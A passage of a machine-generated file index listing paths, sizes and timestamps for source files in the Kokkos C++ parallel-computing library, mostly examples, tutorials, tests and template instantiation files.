/example/md_skeleton/main.cpp","size":5903,"last_modified":1529436749}{"name":"./kokkos/example/md_skeleton/force.cpp","size":5921,"last_modified":1529436749}{"name":"./kokkos/example/md_skeleton/system.h","size":2718,"last_modified":1529436749}{"name":"./kokkos/example/md_skeleton/types.h","size":5086,"last_modified":1529436749}{"name":"./kokkos/example/md_skeleton/neighbor.cpp","size":12180,"last_modified":1529436749}{"name":"./kokkos/example/md_skeleton/setup.cpp","size":7383,"last_modified":1529436749}{"name":"./kokkos/example/query_device/query_device.cpp","size":3093,"last_modified":1529436749}{"name":"./kokkos/example/feint/feint_threads.cpp","size":2495,"last_modified":1529436749}{"name":"./kokkos/example/feint/feint_cuda.cpp","size":2443,"last_modified":1529436749}{"name":"./kokkos/example/feint/feint_openmp.cpp","size":2441,"last_modified":1529436749}{"name":"./kokkos/example/feint/main.cpp","size":2508,"last_modified":1529436749}{"name":"./kokkos/example/feint/feint_rocm.cpp","size":2471,"last_modified":1529436749}{"name":"./kokkos/example/feint/feint_serial.cpp","size":2441,"last_modified":1529436749}{"name":"./kokkos/example/global_2_local_ids/G2L_Main.cpp","size":4735,"last_modified":1529436749}{"name":"./kokkos/example/grow_array/main.cpp","size":3907,"last_modified":1529436749}{"name":"./kokkos/example/fixture/Main.cpp","size":12652,"last_modified":1529436749}{"name":"./kokkos/example/fixture/BoxElemPart.cpp","size":15232,"last_modified":1529436749}{"name":"./kokkos/example/fixture/TestFixture.cpp","size":2371,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/TestHybridFEM.cpp","size":12150,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/TestCuda.cpp","size":7491,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/BoxMeshPartition.cpp","size":13477,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/TestBoxMeshPartition.cpp","size":6131,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/ParallelMachine.cpp","size":5449,"last_modified":1529436749}{"name":"./kokkos/example/multi_fem/TestHost.cpp","size":6015,"last_modified":1529436749}{"name":"./kokkos/example/cmake_build/cmake_example.cpp","size":3089,"last_modified":1529436749}{"name":"./kokkos/example/cmake_build/foo.f","size":108,"last_modified":1529436749}{"name":"./kokkos/example/make_buildlink/main.cpp","size":322,"last_modified":1529436749}{"name":"./kokkos/example/fenl/main.cpp","size":12824,"last_modified":1529436749}{"name":"./kokkos/example/fenl/fenl.cpp","size":4460,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/03_simple_view/simple_view.cpp","size":5613,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/launch_bounds/launch_bounds_reduce.cpp","size":5064,"last_modified":1529436750}{"name":"./kokkos/example/tutorial/06_simple_mdrangepolicy/simple_mdrangepolicy.cpp","size":7687,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/02_simple_reduce/simple_reduce.cpp","size":3982,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/01_hello_world_lambda/hello_world_lambda.cpp","size":4854,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/05_NVIDIA_UVM/uvm_example.cpp","size":5144,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/04_dualviews/dual_view.cpp","size":8665,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/01_data_layouts/data_layouts.cpp","size":6779,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/02_memory_traits/memory_traits.cpp","size":5598,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/03_subviews/subviews.cpp","size":7489,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Advanced_Views/07_Overlapping_DeepCopy/overlapping_deepcopy.cpp","size":5525,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/03_simple_view_lambda/simple_view_lambda.cpp","size":5265,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Algorithms/01_random_numbers/random_numbers.cpp","size":6239,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/04_simple_memoryspaces/simple_memoryspaces.cpp","size":4004,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/05_simple_atomics/simple_atomics.cpp","size":5371,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/01_hello_world/hello_world.cpp","size":5481,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/02_simple_reduce_lambda/simple_reduce_lambda.cpp","size":3620,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Hierarchical_Parallelism/03_vectorization/vectorization.cpp","size":6990,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Hierarchical_Parallelism/01_thread_teams/thread_teams.cpp","size":4151,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Hierarchical_Parallelism/01_thread_teams_lambda/thread_teams_lambda.cpp","size":4242,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Hierarchical_Parallelism/04_team_scan/team_scan.cpp","size":5221,"last_modified":1529436749}{"name":"./kokkos/example/tutorial/Hierarchical_Parallelism/02_nested_parallel_for/nested_parallel_for.cpp","size":4185,"last_modified":1529436749}{"name":"./kokkos/example/sort_array/main.cpp","size":3208,"last_modified":1529436749}{"name":"./kokkos/doc/hardware_identification/query_cuda_arch.cpp","size":627,"last_modified":1529436749}{"name":"./kokkos/algorithms/unit_tests/TestOpenMP.cpp","size":3447,"last_modified":1529436737}{"name":"./kokkos/algorithms/unit_tests/TestCuda.cpp","size":3523,"last_modified":1529436737}{"name":"./kokkos/algorithms/unit_tests/TestSerial.cpp","size":3349,"last_modified":1529436737}{"name":"./kokkos/algorithms/unit_tests/TestThreads.cpp","size":3469,"last_modified":1529436737}{"name":"./kokkos/algorithms/unit_tests/UnitTestMain.cpp","size":2201,"last_modified":1529436737}{"name":"./kokkos/algorithms/unit_tests/TestROCm.cpp","size":3517,"last_modified":1529436737}{"name":"./kokkos/algorithms/src/KokkosAlgorithms_dummy.cpp","size":57,"last_modified":1529436737}{"name":"./kokkos/benchmarks/bytes_and_flops/main.cpp","size":3782,"last_modified":1529436737}{"name":"./kokkos/benchmarks/gather/main.cpp","size":3626,"last_modified":1529436737}{"name":"./kokkos/benchmarks/policy_performance/main.cpp","size":8378,"last_modified":1529436737}{"name":"./kokkos/benchmarks/atomic/main.cpp","size":3725,"last_modified":1529436737}{"name":"./kokkos/core/src/OpenMPTarget/Kokkos_OpenMPTarget_Task.cpp","size":10119,"last_modified":1529436738}{"name":"./kokkos/core/src/OpenMPTarget/Kokkos_OpenMPTarget_Exec.cpp","size":8858,"last_modified":1529436738}{"name":"./kokkos/core/src/OpenMPTarget/Kokkos_OpenMPTargetSpace.cpp","size":11366,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank8.cpp","size":2454,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank4.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank3.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank4.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank8.cpp","size":2446,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank2.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank1.cpp","size":2406,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank8.cpp","size":2462,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank1.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank4.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank5.cpp","size":2454,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank8.cpp","size":2470,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank3.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank8.cpp","size":2458,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank2.cpp","size":2418,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank5.cpp","size":2442,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank1.cpp","size":2426,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank3.cpp","size":2418,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank4.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank8.cpp","size":2450,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank8.cpp","size":2462,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank2.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank1.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank2.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank8.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank3.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank1.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank3.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank1.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank2.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank5.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank2.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank2.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank3.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank5.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank2.cpp","size":2414,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank3.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank3.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank4.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank4.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank1.cpp","size":2414,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank8.cpp","size":2442,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank4.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank3.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutRight_Rank3.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank1.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank3.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank5.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank2.cpp","size":2442,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank4.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank5.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank5.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank5.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank4.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank1.cpp","size":2430,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank2.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank1.cpp","size":2410,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank4.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank8.cpp","size":2458,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank5.cpp","size":2446,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank4.cpp","size":2454,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank8.cpp","size":2454,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank2.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank5.cpp","size":2454,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank8.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank2.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank4.cpp","size":2442,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank2.cpp","size":2414,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank1.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank5.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank3.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank3.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank5.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutRight_Rank4.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank3.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank5.cpp","size":2458,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank3.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank1.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank2.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutRight_Rank8.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutRight_Rank1.cpp","size":2418,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank8.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank8.cpp","size":2462,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutRight_Rank5.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank1.cpp","size":2418,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank4.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank8.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank5.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank5.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank1.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank3.cpp","size":2442,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank3.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank2.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank4.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank1.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank4.cpp","size":2450,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank5.cpp","size":2450,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank1.cpp","size":2410,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank3.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank3.cpp","size":2410,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutStride_Rank1.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutStride_Rank3.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank3.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank5.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank8.cpp","size":2466,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank4.cpp","size":2446,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank8.cpp","size":2454,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank8.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank2.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank4.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank1.cpp","size":2402,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank1.cpp","size":2422,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank2.cpp","size":2410,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank8.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank5.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank5.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank3.cpp","size":2450,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutStride_Rank5.cpp","size":2438,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank4.cpp","size":2414,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutRight_Rank1.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank2.cpp","size":2406,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutLeft_Rank8.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank2.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank2.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank2.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank2.cpp","size":2418,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutRight_Rank4.cpp","size":2426,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank3.cpp","size":2446,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_float_LayoutLeft_Rank8.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_double_LayoutLeft_Rank1.cpp","size":2414,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutStride_Rank4.cpp","size":2422,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutStride_Rank2.cpp","size":2430,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutRight_Rank4.cpp","size":2434,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank5.cpp","size":2442,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int_LayoutRight_Rank3.cpp","size":2414,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int_LayoutStride_Rank1.cpp","size":2426,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank4.cpp","size":2446,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank8.cpp","size":2446,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_double_LayoutStride_Rank8.cpp","size":2466,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int64_t_float_LayoutRight_Rank1.cpp","size":2430,"last_modified":1529436741}{"name":"./kokkos/core/src/eti/Serial/Kokkos_Serial_ViewCopyETIInst_int_